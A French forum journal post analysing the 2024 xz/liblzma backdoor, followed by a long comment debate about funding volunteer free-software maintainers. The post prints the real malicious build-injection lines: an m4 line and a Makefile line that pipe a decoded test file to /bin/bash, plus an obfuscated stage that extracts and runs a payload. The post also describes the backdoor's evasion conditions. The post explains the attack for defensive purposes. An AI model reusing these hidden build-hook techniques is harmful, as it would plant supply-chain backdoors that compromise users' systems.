Sommaire
Bonjour à tous,
La nouvelle que le projet xz (et en particulier liblzma) a été compromis vient de tomber. Donc avant de lire la suite, commencez par vous assurer que vous n'ayez aucune installation de xz version 5.6.0 ou 5.6.1 installée sur vos systèmes pour corriger cette porte dérobée, particulièrement si vous êtes avec un debian ou dérivée. Debian a une version corrigée "5.6.1+really5.4.5-1", Arch Linux une version 5.6.1-2.
Tous les détails de la faille de sécurité sont donnés là : https://www.openwall.com/lists/oss-security/2024/03/29/4, que je vais tenter de résumer avec ce que j'en ai compris.
La faille
Il s'agit d'une faille majeure, qui vise probablement à compromettre un serveurs openssh pour en extraire les clés RSA.
Ce qui est assez rigolo avec cette faille, c'est que openssh n'utilise pas xz. Sauf que Debian a patché openssh pour utiliser libsystemd pour utiliser son système de notification, et que libsystemd dépend de lzma. Toujours la faute à systemd :)
Une fois le binaire compromis chargé simultanément avec openssh, il va modifier à la volée le programme pour en modifier la table des symboles du binaire, et faire pointer la fonction RSA_public_decrypt d'openssh vers le code de la porte dérobée.
Il n'est pas clair ensuite de savoir ce qu'il s'y passe, mais de manière générale, ce n'est pas une fonction que l'on a envie de voir détourner.
Le camouflage
Un aspect remarquable de cette porte dérobée est la façon dont elle est camouflée et tente de rester cachée.
Les sources de xz sont (à peu près) propres, une compilation directement depuis les sources du dépôt git ne contient pas la faille. Mais dans les tarball des versions distribuées, un fichier m4 contient, noyée dans le charabia autoconf, cette ligne :
gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'Cette ligne rajoute dans le Makefile cette instruction
sed rpath ../../../tests/files/bad-3-corrupt_lzma2.xz | tr " \-_" " _\-" | xz -d | /bin/bash >/dev/null 2>&1;Lors de la compilation, le fichier de test bad-3-corrupt_lzma2.xz est décompressé puis son contenu exécuté. Contenu joliment obfusqué :
####Hello####
#��Z�.hj�
eval `grep ^srcdir= config.status`
if test -f ../../config.status;then
eval `grep ^srcdir= ../../config.status`
srcdir="../../$srcdir"
fi
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +724)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
####World####Le contenu désobfusqué du script est disponible ici. Grosso modo, il s'agit d'une liste de condition (compilation avec gcc, inclusion dans un package deb ou rpm) pour n'activer la faille que dans les cas pertinents et rester le plus discret possible sinon. Une fois activée, du contenu binaire est ajouté lors de la compilation à l'exécutable xz.
L'opération camouflage n'est pas terminée, puisqu'une fois dans son binaire la porte dérobée ne se déclenchera que dans les cas pertinents, par exemple uniquement lorsque argv[0] est mis à /usr/sbin/sshd, avec TERM non utilisé (donc normalement à l'extérieur d'un terminal), ou en l'absence de déboggueurs pour complexifier au maximum la découverte de la faille.
Bref, tout est fait pour minimiser au maximum les chances de découverte de cette porte dérobée : code non présent dans les sources, code camouflé et obfusqué, faille ne se déclenchant que dans certaines conditions bien particulières.
On peut alors se demander comment la faille a-t-elle été découverte, un mois après son déclenchement, ce qui est à la fois beaucoup et peu compte tenu de sa sophistication. Deux problèmes l'ont mise en évidence : le binaire fautif génère des erreurs Valgrind, et l'exécution de openssh contaminé par la faille est presque trois fois plus lente. Suffisamment lent pour qu'un dev de PostgreSQL se motive à se lancer dans l'investigation et à remonter tout ça. Et je lui tire mon chapeau, car la pelote de laine n'a pas dû être facile à dérouler.
La compromission
Nous sommes donc en présence d'une porte dérobée évoluée, incluse dans un projet majeur de l'opensource. Tous les paquets d'Arch Linux étaient par exemple compressés à une époque avec xz. Comment a-t-elle pu arriver ?
Tout simplement par l'un des développeurs du projet : https://github.com/tukaani-project/xz/commit/cf44e4b7f5dfdbf8c78aef377c10f71e274f63c0.
Les fichiers binaires à la source de l'injection de code ont été camouflés comme des fichiers de tests déjà compressés (mais aucun test pour les utiliser n'a été rédigé…). Et les fichiers de configs fautifs modifiant la compilation de xz ont été inclus dans des tarballs signés par ce dev.
Il s'agit donc d'une opération au long cours, avec l'inclusion des fichiers binaires comme cheval de Troie quelques mois avant le déclenchement effectif de la faille. Ce contributeur est arrivé il y a deux ans, et a pris dans cet intervalle suffisamment d'importance pour devenir le deuxième contributeur du projet, après l'auteur historique du programme. Pendant ces deux ans, il a écrit des commits assez majeurs, dont un certain nombre ont préparé le terrain techniquement pour le déclenchement de la porte dérobée.
Il peut s'agir d'une compromission assez récente du compte, mais au vu de l'historique, et de son insistance pour inclure les dernières versions de xz dans les distributions, il est plus que probable qu'il s'agisse d'un acteur malveillant. Probablement étatique d'ailleurs compte tenu de la sophistication de l'attaque et de son temps long.
Il est d'ailleurs assez ironique que son dernier commit soit une modification de la politique de sécurité du projet.
Et maintenant
Au delà de l'aspect purement pratique d'une porte dérobée qui n'aura au final pas survécu bien longtemps dans la nature, on peut se demander quel sera l'impact long terme sur l'environnement du libre.
Actuellement, c'est une chasse à l'homme, avec une recherche de tous les commits passés du contributeur malveillant, à la recherche d'autres compromissions dans des projets différents. Je pense que la confiance envers xz est rompue, avec l'ignorance de savoir s'il existe d'autres portes dérobées implémentées pendant ces deux ans d'activité du contributeur malveillant. J'ignore si quelqu'un se dévouera pour se lancer dans un audit de sécurité, mais je ne vois pas par quel autre moyen la confiance pourra revenir.
Enfin, cela démontre à nouveau la force et la faiblesse simultanée du logiciel libre. La faille a pu être identifiée rapidement en remontant la chaîne de compilation, libre et ouverte. Mais d'un autre côté, l'attaque est à mon avis remarquable d'ingénierie sociale, en visant l'un des points faibles du monde libre. Xz est un outil majeur, mais géré depuis 15 ans quasi uniquement par son développeur historique, qui a dû être bien content de voir arriver un nouveau développeur régulier, et lui refiler relativement rapidement des droits d'administration. Et lorsqu'il a eu assez de droits, la porte dérobée a été publiée. On revient toujours sur ce problème de manques de ressources, ce qui laisse la porte ouverte à des failles de sécurité non comblées, ou comme ici à l'implémentation de porte dérobée par des acteurs motivés dans des
programmes non critiques, mais duquel dépendent beaucoup d'autres logiciels.
Et on revient toujours à ce fameux xkcd : https://xkcd.com/2347/.
# Le HS de la conclusion
Posté par Yuul B. Alwright . Évalué à -10.
Si Xz avait été développé par une équipe salariée, la porte dérobée aurait toujours pu être insérée dans le logiciel.
Si Xz avait été un logiciel propriétaire, ses restrictions auraient pu être utilisées pour empêcher une modification ou un fork de Xz.
Ta conclusion fait un grand écart à faire pâlir Jean-Claude Van Damme.
C'est dommage, le reste du journal est bien. Mais pas la conclusion. À un moment, faudrait arrêté de colporter la propagande bourgeoise qui milite pour une privatisation des biens communs.
[^] # Re: Le HS de la conclusion
Posté par Okki (site web personnel, Mastodon) . Évalué à 10.
L'auteur du journal a juste rappelé que de nombreux projets libres dont dépendent un grand nombre d'autres projets étaient sous-financés, voir pas du tout financés. Avec des employés à temps plein fournis par les différentes distributions commerciales ou la Fondation Linux, les mainteneurs accorderaient sans doute moins facilement les droits en écriture et auraient sans doute plus de temps pour lire et valider les contributions.
Il n'a jamais été question de privatisation des communs.
[^] # Re: Le HS de la conclusion
Posté par Yuul B. Alwright . Évalué à -5.
Et ces employés à temps pleins fournis pourraient, à leur tour, incorporer des portes dérobés. Ça ne règle rien, sa conclusion est toujours HS.
Quand aux projets fait bénévolement: C'est le choix des personnes qui les développent.
Logiciel libre ne veux pas dire gratuit. Il existe différents business modèles possibles pour financer le développement d'un logiciel.
Se plaindre que des gens qui choisissent le bénévolat ne sont pas payés, c'est quand même fort.
[^] # Re: Le HS de la conclusion
Posté par Okki (site web personnel, Mastodon) . Évalué à 9.
Si tu n'as aucune confiance dans les distributions commerciales majeures comme Red Hat ou SUSE, vu le nombre de leurs contributions et la gouvernance qu'ils ont sur certains projets, ce n'est plus la peine d'utiliser Linux. Autant passer direct sous BSD.
Et encore une fois, personne n'a critiqué les bénévoles. C'était juste la constatation qu'une personne qui ne peut accorder qu'une heure par-ci par-là à son projet, aura sans doute plus tendance à accorder sa confiance au premier bénévole venu qui semble vouloir s'investir dans le projet, trop content qu'on vienne enfin l'épauler.
La solution, ça serait déjà de commencer par embaucher ces mainteneurs puis de leur dédier des ressources (développeurs supplémentaires, financement d'audits de sécurité, développement de contrôles et de tests automatisés afin de prévenir les vulnérabilités (le truc pas particulièrement fun qui n'attire pas vraiment les bénévoles)…)
[^] # Re: Le HS de la conclusion
Posté par Yuul B. Alwright . Évalué à 4.
Ce n'est pas ce que j'ai dit.
Ce que j'ai dit, c'est ressource ou pas, bénévolat ou salariat, rien n'empêche une porte dérobée d'être insérée.
Si, tu as dis que c'était une mauvaise chose que les personnes qui choisissent d'être bénévoles ne reçoivent pas d'argent.
J'ai été bénévole et salarié sur des projets libres. Salarié, c'est bien pour l'argent mais pas pour les obligations qui viennent avec. C'est pour ça qu'a coté, j'ai aussi des projets bénévoles: Je peux y dev ce que je veux, au rythme où je veux, faire des pauses quand je veux.
[^] # Re: Le HS de la conclusion
Posté par vpo . Évalué à 8.
Sauf que dans une boîte qui a les ressources pour respecter l'état de l'art, c'est toute de même bien plus compliqué.
Je bosse dans une équipe développant une lib qui doit respecter pléthore de standards ISO en termes de cybersécurité et de sureté.
Et bien il faut un paquet de +1 dans les revues de codes pour que le boss qui chapeaute fasse sa propre revue de code et fasse son +2 dans gerrit. Et il est du genre très chiant pour donner son +2, et les autres qui font le +1 sont eux aussi tatillons.
En plus, si le commit ne passe pas les analyses de code statiques (MISRA, etc), pareil, faut justifier pourquoi ça ne passe pas. Et il faut une bonne raison en documentant et en ayant une exemption acceptée par le comité qui va bien. Sinon tu corriges.
Ensuite, on a des tests unitaires de partout et des tests d'intégration où on doit prouver que 100% du code est testé.
Ca part après sur des fermes de serveur pour faire du test système et de performance tout isolé dans des machines virtuelles.
Ah et aussi, on doit prouver que pour toute ligne de code testée, on a les fragments d'architecture et les interfaces spécifiées qui correspondent.
Et chaque équipe qui bosse sur une brique différente du soft doit se plier au même process.
Bien sûr les gens qui testent, qui développent les tests, ceux qui codent, ceux qui définissent l'architecture ne sont pas les mêmes, et pareil pour ceux qui revoient toutes les docs et qui les approuvent. Plus ensuite des auditeurs internes et à la fin, on a des auditeurs externes qui revérifient tout.
Donc oui, même avec un tel process qui implique des dizaines de personnes plus tous les employés qui assurent les fonction support pour l'IT de la boîte, il doit y avoir moyen de mettre du code malicieux. Mais sauf à corrompre pas mal de gens pour qu'ils soient tous dans le complot, cela me semble extrêmement difficile d'y arriver tellement il y a d'étapes à franchir.
Déjà que cela nous prend un temps fou pour livrer ce code certifié et validé alors que nous bossons à plein temps dessus en étant très nombreux, je ne vois pas comment des bénévoles pourraient faire pareil. Sauf à être milliardaires et ne pas avoir besoin de bosser pour manger. Mais si mes collègues et moi étions milliardaires, nous ne nous embêterions pas à bosser sur des trucs aussi pénibles à gérer au quotidien, sauf à aimer le masochisme puissance 1000.
[^] # Re: Le HS de la conclusion
Posté par barmic 🦦 . Évalué à 10.
L'exception des quelques boites qui respectent ce genre de processus ne peut pas être pris comme une vérité générale. Même Boeing est loin de faire ça bien…
https://linuxfr.org/users/barmic/journaux/y-en-a-marre-de-ce-gros-troll
[^] # Re: Le HS de la conclusion
Posté par Psychofox (Mastodon) . Évalué à 10. Dernière modification le 31 mars 2024 à 22:37.
Ce n'est pas parce qu'une boite a les resources qu'elle le fait bien. Ce n'est pas parce qu'il y a une revue de code qu'elle est bien faite tout le temps. Ce n'est pas parce que 999 projets appliquent l'état de l'art qu'il n'y a pas le millième dans la boite qui ne le fait pas, etc, etc.
[^] # Re: Le HS de la conclusion
Posté par vpo . Évalué à 5.
Nous sommes bien d'accords.
Déjà que quand il y a la volonté ainsi que les moyens matériels et humains, ce n'est pas gagné, alors quand c'est géré par des bénévoles qui font ce qu'ils peuvent, c'est encore plus vulnérable.
Mon propos était là pour justifier que la conclusion n'est pas HS du tout et que le xkcd est totalement pertinent.
[^] # Re: Le HS de la conclusion
Posté par Yuul B. Alwright . Évalué à -2.
Et j'ajouterai que si qqn estime que le travail bénévole d'un autre personne n'est pas suffisante, alors ce qqn peut contribuer, voir forker si nécessaire. Et si cette personne souhaite être rémunéré pour son travail et passer plus de temps sur le logiciel, alors ce qqn peut mettre en place un des business modèles disponible pour financer son travail.
Ta solution sous entends que les dev qui ont choisis d'être bénévoles bossent pour qqn et donc doivent être embauché. Or ce n'est pas le cas: Il n'y a pas de lien de subordination entre ces deux parties.
Si les personnes qui dev veulent avoir accès à des ressources, une fois de plus, logiciel libre ne veut pas dire gratuit. C'est a ces personne de mettre en place un business modèle adapté et ainsi recevoir les ressources qu'elles ou ils estiment nécessaire.
[^] # Re: Le HS de la conclusion
Posté par Maclag . Évalué à 7.
C'est à la fois touchant de naiveté et
d'une indécence rare.
Si un dév n'est pas justement rémunéré pour ses contributions au Libre: ben c'est de sa faute. Fallait mieux vendre son projet.
S'il l'avait bien vendu, de toute évidence, une horde d'entreprises et particuliers l'auraient rémunéré justement, comme peuvent d'attester tous les contributeurs au Libre qui, comme chacun le sait, n'ont jamais aucun mal à se financer quand le projet est utile et important.
[^] # Re: Le HS de la conclusion
Posté par Thomas Debesse (site web personnel) . Évalué à 10.
L’arbre qui cache la forêt. Le fait que certains y arrivent signifie pas que tout le monde peut le faire pour n’importe quel bout de code. Ni que tout le monde a les moyens d’investir ce qui est nécessaire avant d’éventuellement devenir rentable.
Si par exemple pour se faire payer pour maintenir xz de manière à devenir rentable il faut d’abord quitter son boulot et faire de la communication et du commercial pendant deux ans à pertes, certains ne commenceront même pas, même si à terme ça pourrait être rentable.
ce commentaire est sous licence cc by 4 et précédentes
[^] # Re: Le HS de la conclusion
Posté par Marotte ⛧ . Évalué à 8. Dernière modification le 31 mars 2024 à 05:54.
Si tu as toi-même réussi à valoriser ton travail dans le libre n’hésite pas à nous faire part de ton savoir-faire, de tes conseils. À moins que tu aies fait le choix de valoriser ce savoir-faire en matière de création/développement d’entreprise, et que tu factures p-e des prestations de conseil ?
En tous cas je te reconnais une qualité indéniable, ton optimisme. C’est vraiment important (car c’est sûr que si on y croit pas c’est fortement compromis de base). Et je dis ça en tout sincérité, sans aucun cynisme.
[^] # Re: Le HS de la conclusion
Posté par Psychofox (Mastodon) . Évalué à 10.
Toutes ces questions d'auteurd malveillants est indépendant du financement d'un projet et de sa licence. L'histoire a montré que des états vont entrainer des espions pour pouvoir être embauchés dans des administrations et entreprises stratégique. Il n'y a aucune raison de penser que ce soit différent dans le monde du développpement logiciel.
[^] # Re: Le HS de la conclusion
Posté par Marotte ⛧ . Évalué à -10. Dernière modification le 30 mars 2024 à 01:18.
On lit rarement des propos aussi cons. Tu es remarquable.
[^] # Re: Le HS de la conclusion
Posté par aiolos . Évalué à 3. Dernière modification le 30 mars 2024 à 11:59.
J'ai du mal à voir en quoi le propos est "con". C'est un truisme, mais ça n'en reste pas faux.
[^] # Re: Le HS de la conclusion
Posté par Marotte ⛧ . Évalué à 6. Dernière modification le 30 mars 2024 à 13:58.
Oui est non. Le bénévolat implique la gratuité, est selon moi une condition acceptée, non pas choisie. Quand le développeur d’un logiciel libre a la possibilité d’obtenir une rémunération de son travail je pense qu’il est rare celui qui la refuse.
Mon commentaire était inutilement insultant (potentiellement, c’est le propos que j’ai qualifié de con, pas son auteur) mais je ne crois pas qu’un développeur, seul, qui choisi le logiciel libre (et non le bénévolat), peut en tirer un revenu, du moins pas au lancement d’un projet ou dans les premiers temps où il rejoint un projet existant, et pas sans produire du travail annexe qui n’est pas directement, et même parfois très éloigné, du développement logiciel.
On peut bien sûr être salarié (ou freelance) payé pour développer du logiciel libre mais ça implique une entreprise (plus globalement un client) et les places sont comptées, tout comme les développeurs en position de faire un tel choix.
On choisi le logiciel libre, pas le bénévolat. Lier les deux me semble idiot, ça va à l’encontre de l’assertion qui suit : « Logiciel libre ne veux pas dire gratuit. ». Quant aux business-models, c’est ce que je dis plus haut, ça dépasse largement le seul développement logiciel.
Pour finir d’essayer d’expliquer ce que je veux dire : on choisit réellement le bénévolat quand l’activité concernée n’est pas créatrice de valeur économique, voire, au mieux, avec un potentiel très faible d’en créer. Une activité pour laquelle personne ne veut, et surtout ne peut, payer. Or beaucoup de logiciels libres permettent à des personnes qui choisissent l’entreprenariat d’en retirer un revenu, parfois substantiel.
[^] # Re: Le HS de la conclusion
Posté par aiolos . Évalué à 8.
Merci d'avoir expliqué ton commentaire.
Je ne suis pas tout à fait d'accord. Je pense que le bénévolat est à minima accepté, à défaut d'être choisi, par l'auteur-contributeur, mais je comprends mieux ton propos.
Sur ce point, je ne suis pas du tout d'accord. On peut choisir le bénévolat y compris pour des activités à très forte valeur économique : c'est le cas, par exemple, de tous les festivals de grande taille, tels qu'il en fleurit tout l'été. On peut être bénévoles dans des supermarchés associatifs, par exemple, parce que ça permet d'être acteur de sa consommation, être impliqué dans le choix des produits. Pourtant, personne ne niera la valeur économique d'un supermarché, je pense.
[^] # Re: Le HS de la conclusion
Posté par Marotte ⛧ . Évalué à 3.
C’est vrai mais ça demande d’avoir sa propre situation économique déjà « assurée », avec encore du temps « en rab’ », et même dans ces conditions, ça réclame un altruisme certain, àmha. Autant dire que c’est plutôt rare.
Ce que la plus part des gens cumulant les deux conditions sus-citées ont tendance à faire, c’est soit d’améliorer leur condition économique, ou celle de leur famille/proches, ou profiter eux-mêmes des fruits de leur travail pour accroître leur sensation de bonheur (bien souvent les deux).
Ceci dit je suis personnellement assez égoïste, alors ma vision est peut-être faussée (ie: je serais encore plus égoïste que je veux bien l’admettre).
En tous cas je ne pense pas qu’on puisse condamner la dénonciation du manque de financement du LL.
[^] # Re: Le HS de la conclusion
Posté par cg . Évalué à 2.
Dans le cas précis de cet exemple, il y a souvent une contrepartie : avoir l'accès gratuit au festival. Pour des petits festivals, ça peut revenir à être payé 50 centimes de l'heure, pour des plus gros ça peut faire une équivalence à du 100€ la journée.
En tout cas la présence des bénévoles permet souvent d'améliorer les conditions d'un événement, c'est super !
Il y a aussi des entreprises qui font des prestations pro-bono pour les petites structures ou des assos qui ne pourraient pas payer la prestation, genre des audits de sécurité.
[^] # Re: Le HS de la conclusion
Posté par barmic 🦦 . Évalué à 3.
Quand c'est une entreprise c'est gratuit, mais pas du bénévolat. Soit les employés sont payé, soit ils ne le sont pas et hors truc du genre auto-entreprises, c'est… illégale ?
https://linuxfr.org/users/barmic/journaux/y-en-a-marre-de-ce-gros-troll
[^] # Re: Le HS de la conclusion
Posté par cg . Évalué à 2.
Oui, tu as tout à fait raison, merci de la précision.
[^] # Re: Le HS de la conclusion
Posté par Thomas Debesse (site web personnel) . Évalué à 10.
Ça ne marche malheureusement pas comme ça. Les gens doivent chercher la rémunération, personne ne vient la leur proposer, donc l’opportunité de refuser est quasiment nulle.
Par exemple j’ai jamais reçu un seul don bien qu’il y ait 4 liens pour faire un don sur ma page github alors qu’y sont référencés plus de 3 à 4 fois plus de contributions que le mainteneur de xz suspecté d’avoir introduit la porte dérobée, dons la masse de travail a été suffisante pour devenir mainteneur et prendre le pouvoir sur le projet.
Pourtant ces liens sont connus puisque j’ai déjà reçu des messages de gens que je ne connais pas qui m’ont dit ne pas comprendre comment des profils comme le mien ne reçoivent jamais rien (mais qui n’ont pas donné non-plus).
C’est pourtant simple. Pour obtenir de l’argent il y a deux chemins :
Il faut soit trouver des entreprises qui vont te payer pour ce que tu fais, mais sur des briques fondamentales ce n’est pas simple. Par exemple je gagne de l’argent en hébergeant et maintenant des instances AtoM (Access to Memory) pour des services d’archives et donc cela paie le travail que je pourrais faire autour, y compris l’écriture de scripts de migrations depuis d’autres logiciels (dont la publication n’a pas de sens car à usage unique, donc pas libre). Je vends aussi une expertise sur Samba, donc éventuellement si je contribue à Samba on peut dire que ce travail est indirectement payé par mon entreprise et donc par mes clients, mais c’est tout. Contribuer à un logiciel libre sur son temps de travail en étant salarié c’est la même chose. Vendre une application ou un service autour d’une application utilisée par un client directement est une chose. Vendre son travail sur une bibliothèque de compression c’est autre chose.
Il faut soit trouver des particuliers et pour cela jouer les influenceurs Twitter 20 fois par jours tous les jours, éventuellement streamer son développement, développer une communauté de fans, ne présenter qu’un profil cool et jovial et éventuellement se retenir de donner son avis publiquement sur autre chose que l’objet du financement, se construire éventuellement un personnage, et susciter des dons de la part de sa fanbase.
Jamais personne ne m’a proposé de l’argent pour une seule de mes contributions, de lui-même. J’ai du code dans Samba, dans Mesa, dans Linux, ou même dans LLVM, mais en fait ça ce sont mes contributions les plus mineures, le truc c’est que pour en arriver là il faut des besoins très spécifiques, et ça peut parfois cacher des mois de travail (C’est au moins vrai pour Samba, Mesa, LLVM). J’ai aussi investi le temps de traquer des bugs historiques et inexplicables et d’un niveau de recherche comparable à ce qui a été fait pour identifier la backdoor xz et probablement jamais corrigé, mais qui n’ont jamais mené à un commit signé par moi (Gstreamer incapable de faire du son temps réel alors que c’est sa mission première, d’où le nom, Le noyau Linux incapable d’utiliser des cartes PCI graphiques AMD si le processeur est AMD, ImageMagick ayant un bug qui inverse verticalement les images à la conversion entre certains formats, etc.). Il n’y a personne qui va payer pour corriger ces problèmes. La seule raison pour laquelle ces rapports d’incidents existent c’est que j’ai investi mon temps et mon argent pour les produire. Personne ne va payer pour ça. Certains diront et à juste titre que le temps que j’ai passé à investiguer et rapporter ces bugs « est déjà payé ». Mais ça ne m’a jamais fait manger.
Parmi les rapports de bugs que j’ai pu faire (que je détaille souvent de manière à ce que la solution est déjà proposée) qui ont été corrigés, je crois que ma première contribution significative fut un rapport de bug montrant comment lorsqu’un même chipset pouvait gérer les mêmes disques SATA à la fois avec un pilote ata ou ahci, le pilote ata été chargé en premier empêchant le pilote ahci de se charger et donc rendant inaccessible les fonctions d’hotplug. En bref, on peut dire d’une certaine manière que des milliers de gens qui ont utilisé l’hotplug AHCI dans les années 2010 sous Linux peuvent me dire merci. Mais qui va payer pour ça ? Qui va me proposer de l’argent pour ça ?
Ça pose une autre question : il faut payer les développeurs de logiciels libres, mais il faut aussi payer tous ceux qui sont autour, ceux qui identifient, investiguent et qui rapportent les bugs, etc. Le gars qui a identifié la porte dérobée, sera-t-il payé pour ça ? J’ai entendu dire qu’il travaillait chez Microsoft, peut-on dire que d’une certaine manière, nous devons la mise en échec de cette attaque à une sorte de mécénat indirect de Microsoft ?
L’essentiel de mes contributions sur GitHub/GitLab sont des trucs que personne ne paient, le jeu Unvanquished, l’éditeur 3D NetRadiant. Pour ce dernier je suis celui qui maintient la seule branche suffisamment fonctionnelle de GtkGlExt pour macOS. Qui va payer pour ce travail ? Personne.
On s’y résigne plutôt à le faire quand même gratuitement par dépit, parce qu’on en a besoin pour soi ou pour des gens qui comptent pour nous. Entre se résigner et choisir, il y a une différence tout de même. Se résigner à faire le travail bénévolement est tout de même un choix, mais c’est le choix de se résigner, pas le choix d’être bénévole.
C’est vrai, mais ça ne concerne que certains logiciels. Je pense qu’il serait très facile d’ajouter une option pour payer son application sur FlatHub, et ça marcherait peut-être (même si optionnel), je ne vois pas comment proposer à un utilisateur de payer les développeurs pour les milliers de dépendances que chaque utilisateur de Debian tire avec un
apt-get dist-upgrade, c’est déjà plus simple d’envoyer de l’argent à Debian, mais ça ne paiera toujours pas le travail d’un développeur qui a soumis upstream un patch pour une bibliothèque linkée avec un exécutable utilisé pour dépaqueterle fond d’écran par défaut de ta distribution.Les places sont très comptées en effet, et à la fois les développeurs et logiciels en position de faire l’objet d’un tel choix sont tout aussi comptées, tout à fait.
ce commentaire est sous licence cc by 4 et précédentes
[^] # Re: Le HS de la conclusion
Posté par eingousef . Évalué à 10.
La façon dont je comprend le modèle "scratch your own itch", c'est que c'est une économie basée sur les externalités. Un bug t'enquiquine, tu corriges ce bug, tu récoltes les fruits de ton travail immédiatement. Le seul "paiement" que tu puisses espérer à ce moment-là, c'est de ne plus être ennuyé par le bug. Puis tu partages le correctif, parce que ça ne te coûte pas tellement plus cher de le faire -> c'est une externalité, comme quand un éleveur donne son lisier gratuitement à un fermier que ça arrange bien.
Après le cas du logiciel est très particulier parce que derrière chaque bout de code il peut y avoir une masse de travail qui n'a rien à voir avec la rémunération qu'a pu toucher le développeur pour ce bout de code. Un contributeur de logiciel libre peut passer un week-end à corriger un bug très complexe dans un projet bénévole puis aller au boulot le lundi matin et passer la journée à se faire payer pour corriger des typos. Le travail de développeur est sûrement trop complexe pour espérer avoir un modèle de rémunération "parfait" (où la rémunération serait proportionnelle à la complexité de la tâche et à son intérêt pour la société). Je ne vais pas me plaindre, c'est peut-être grâce à ça que l'opensource existe.
Merci pour tout le boulot que tu fais, en tout cas.
*splash!*
[^] # Re: Le HS de la conclusion
Posté par barmic 🦦 . Évalué à 10.
L'unique solution que je vois à ça et à pleins d'autres cas c'est le revenu universel. Il y a beaucoup de travail que l'économie actuelle ne sait pas financer indépendamment de l'utilité publique incontestable (et à contrario il y a pleins de choses qu'elle ne finance que trop bien malgré l'impact négatif sur la société).
https://linuxfr.org/users/barmic/journaux/y-en-a-marre-de-ce-gros-troll
[^] # Re: Le HS de la conclusion
Posté par Ant . Évalué à 5.
Commentaire très intéressant et édifiant.
C'est assez triste en effet qu'autant de travail, très utile pour une grade partie (je mets à part le travail dans le domaine des jeux vidéo), n'obtienne pas de rétribution pécuniaire, d'une manière ou d'une autre, alors que d'un autre côté la réalisation d'une application de photos de chats va rapporter plusieurs centaines de milliers d'euros à son auteur.
Félicitations en tout cas pour cet énorme travail. Il en va néanmoins de même de beaucoup d'activités de chercheurs et bénévoles dans divers domaines.
Je trouve tes observations lucides mais très justes.
Je suis toujours étonné de la part des gens qui sont capables de dire "c'est incroyable que vous ne receviez aucun don !" et qui eux-même ne donnent rien. Ils se disent que "d'autres" donnent à leur place, sous-entendu généralement le gouvernement ou des entreprises, car eux mêmes ne veulent pas endosser la culpabilité de reconnaître la valeur d'un travail et ne rien donner. Il ne faut jamais surestimer la générosité des gens.
L'aspect positif de la chose c'est que cela ne t'a pas dégoûté de faire ce que tu fais :-)
Bravo !
[^] # Re: Le HS de la conclusion
Posté par barmic 🦦 . Évalué à 4.
Je me permet une remarque. Je comprends tout à fait que se mettre en avant n'est pas une option pour toi, ça ne le serait pas pour moi. Mais le fait de s'effacer derrière son travail, si c'est noble, n'aide pas du tout à faire prendre conscience aux gens que tu existe, que tu es une personne seule sur ton temps libre, etc. On peut difficilement demander à ce que des gens qui n'ont que peu d’interaction avec toi connaissent ta situation alors que tu fais tout pour ne pas la mettre en avant. Avant les problèmes d'OpenSSL combien de gens savaient comment était développé la bibliothèque ? Combien de gens se rendent compte de la différence de moyens qu'il y a Gimp et Blender ?
Ce n'est pas pour dire qu'il faut se vendre, se mettre en scène, etc, mais que ce n'est pas une question de starlette
https://linuxfr.org/users/barmic/journaux/y-en-a-marre-de-ce-gros-troll
[^] # Re: Le HS de la conclusion
Posté par Thomas Debesse (site web personnel) . Évalué à 5. Dernière modification le 06 avril 2024 à 18:58.
Il y a peut-être une confusion. Je ne considère pas que ce n’est pas une option pour moi de se mettre en avant. Je suis d’ailleurs parfaitement ouvert à me mettre en avant, et j’ai déjà une certaine visibilité depuis longtemps. Le problème, c’est qu’entretenir la machine à attention, ça coûte énormément de temps. À partir d’un certain investissement, ça peut être rentable. Mais ça n’est pas nécessairement compatible avec un métier, une famille, d’autres préoccupations légitimes…
J’ai par exemple derrière la tête depuis quelques années l’idée de peut-être faire un jour une levée de fond pour fusionner deux logiciels libres qui ont dérivés il y a 10 ans (NetRadiant et netradiant-custom). Vu la masse de travail, il faut lever de quoi payer une personne à temps plein pendant plusieurs mois. C’est un projet sur lequel je réfléchis de temps en temps et depuis longtemps, mais si un jour ça se fait, ne serait-ce que la préparation et la publicité de l’initiative va m’occuper plusieurs semaines à temps plein, avant de lever le moindre centime. Ça pourra peut-être marcher, mais il faut déjà investir les premières semaines de travail.
C’est aussi ce que je voulais dire en disant « Les gens doivent chercher la rémunération, personne ne vient la leur proposer, donc l’opportunité de refuser est quasiment nulle », je peux ajouter : le coût de recherche de rémunération peut être très élevé.
Alors ça dépend très certainement des projets. Il est probablement plus facile de lever de l’argent pour un produit bien établi comme Blender, avec une masse d’utilisateurs directs, ou encore de lever de l’argent pour un jeu avec une chouette bande annonce (jeu auquel tout donateur pourra jouer), mais pour un logiciel comme NetRadiant qui est vraiment un logiciel de production de niche, il faut motiver et convaincre à donner plus que les utilisateurs de ce logiciel, et convaincre à partager l’annonce de la levée de fond plus bien plus loin que les utilisateurs directs. J’ai quelques idées pour ça, mais ça n’est pas évident.
ce commentaire est sous licence cc by 4 et précédentes
[^] # Re: Le HS de la conclusion
Posté par aiolos . Évalué à 1.
Admettons. Qu'en est-il de la suite de ton propos :
?
[^] # Re: Le HS de la conclusion
Posté par stopspam . Évalué à 0. Dernière modification le 30 mars 2024 à 20:58.
Le choix est fait par le développeur via la licence.
Si à un moment donné il se sent lésé, il peut changer de licence sur son projet et opter pour un mode de rémunération. Les gens forkeront ou suivront les conditions de la nouvelle licence.
Simple et clair. Je ne vois aucun propos cons.
[^] # Re: Le HS de la conclusion
Posté par aiolos . Évalué à 10.
